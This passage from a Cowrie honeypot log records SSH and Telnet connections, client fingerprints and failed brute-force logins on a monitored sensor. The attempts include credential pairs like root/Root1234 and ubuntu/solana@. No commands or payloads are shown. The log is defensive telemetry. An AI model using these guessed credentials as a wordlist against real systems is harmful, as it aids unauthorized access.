a2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:58:43.099365Z","src_ip":"116.110.220.181","session":"2c7865980a02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":49130,"dst_ip":"10.17.0.5","dst_port":22,"session":"95ce0fc02d14","protocol":"ssh","message":"New connection: 193.32.162.145:49130 (10.17.0.5:22) [session: 95ce0fc02d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:58:47.793421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:58:47.798047Z","src_ip":"193.32.162.145","session":"95ce0fc02d14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:58:47.897631Z","src_ip":"193.32.162.145","session":"95ce0fc02d14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana@","message":"login attempt [ubuntu/solana@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:58:48.267783Z","src_ip":"193.32.162.145","session":"95ce0fc02d14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:58:49.370297Z","src_ip":"193.32.162.145","session":"95ce0fc02d14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:58:54.536438Z","src_ip":"116.110.220.181","session":"2c7865980a02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.1","message":"Connection lost after 23.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:59:04.980931Z","src_ip":"116.110.220.181","session":"2c7865980a02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":6884,"dst_ip":"10.17.0.5","dst_port":23,"session":"45078fd433d1","protocol":"telnet","message":"New connection: 212.55.149.117:6884 (10.17.0.5:23) [session: 45078fd433d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:59:10.777533Z"}
{"eventid":"cowrie.session.closed","duration":119.791832447052,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:59:26.999554Z","src_ip":"212.55.149.117","session":"e16b2d9326a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":44465,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1012529debe","protocol":"telnet","message":"New connection: 212.55.149.117:44465 (10.17.0.5:23) [session: e1012529debe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:59:34.786143Z"}
{"eventid":"cowrie.session.closed","duration":60.05797719955444,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:00:10.835409Z","src_ip":"212.55.149.117","session":"45078fd433d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":45702,"dst_ip":"10.17.0.5","dst_port":22,"session":"f516ee586e35","protocol":"ssh","message":"New connection: 103.15.226.202:45702 (10.17.0.5:22) [session: f516ee586e35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:00:30.648173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:00:30.653364Z","src_ip":"103.15.226.202","session":"f516ee586e35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:00:30.909030Z","src_ip":"103.15.226.202","session":"f516ee586e35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root1234","message":"login attempt [root/Root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:00:31.637745Z","src_ip":"103.15.226.202","session":"f516ee586e35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:00:32.883577Z","src_ip":"103.15.226.202","session":"f516ee586e35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.13921809196472,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:00:33.925241Z","src_ip":"212.55.149.117","session":"e1012529debe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.193.85","src_port":43050,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c7a3522ce97","protocol":"ssh","message":"New connection: 171.231.193.85:43050 (159.203.135.109:22) [session: 4c7a3522ce97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:00:50.593523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:00:50.779999Z","src_ip":"171.231.193.85","session":"4c7a3522ce97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:00:50.919226Z","src_ip":"171.231.193.85","session":"4c7a3522ce97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0l0ctyQh243O63uD","message":"login attempt [admin/0l0ctyQh243O63uD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:00:51.994067Z","src_ip":"171.231.193.85","session":"4c7a3522ce97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:00:53.349419Z","src_ip":"171.231.193.85","session":"4c7a3522ce97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.193.85","src_port":49968,"dst_ip":"159.203.135.109","dst_port":22,"session":"017938356525","protocol":"ssh","message":"New connection: 171.231.193.85:49968 (159.203.135.109:22) [session: 017938356525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:00:58.734362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:00:59.077024Z","src_ip":"171.231.193.85","session":"017938356525","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":40534,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5984494ac6c","protocol":"ssh","message":"New connection: 193.32.162.145:40534 (10.17.0.5:22) [session: d5984494ac6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:00:59.105982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:00:59.110486Z","src_ip":"193.32.162.145","session":"d5984494ac6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:00:59.214391Z","src_ip":"193.32.162.145","session":"d5984494ac6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"sollet","message":"login attempt [ubuntu/sollet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:00:59.566089Z","src_ip":"193.32.162.145","session":"d5984494ac6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":37522,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b24d29a9387","protocol":"ssh","message":"New connection: 2.57.122.210:37522 (10.17.0.5:22) [session: 8b24d29a9387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:00:59.852556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:00:59.885878Z","src_ip":"2.57.122.210","session":"8b24d29a9387","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:00:59.989687Z","src_ip":"2.57.122.210","session":"8b24d29a9387","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:01:00.348525Z","src_ip":"171.231.193.85","session":"017938356525","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:01:00.672059Z","src_ip":"193.32.162.145","session":"d5984494ac6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"stake","message":"login attempt [ubuntu/stake] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:01:00.684403Z","src_ip":"2.57.122.210","session":"8b24d29a9387","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:01:01.802046Z","src_ip":"2.57.122.210","session":"8b24d29a9387","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:01:01.818510Z","src_ip":"171.231.193.85","session":"017938356525","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:01:03.093228Z","src_ip":"171.231.193.85","session":"017938356525","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":51762,"dst_ip":"10.17.0.5","dst_port":23,"session":"233e39f43fef","protocol":"telnet","message":"New connection: 212.55.149.117:51762 (10.17.0.5:23) [session: 233e39f43fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:01:36.327476Z"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":62974,"dst_ip":"159.203.135.109","dst_port":22,"session":"09cb1191d1e8","protocol":"ssh","message":"New connection: 84.239.42.8:62974 (159.203.135.109:22) [session: 09cb1191d1e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:02:31.764553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:02:31.769612Z","src_ip":"84.239.42.8","session":"09cb1191d1e8","protocol":"ssh"}
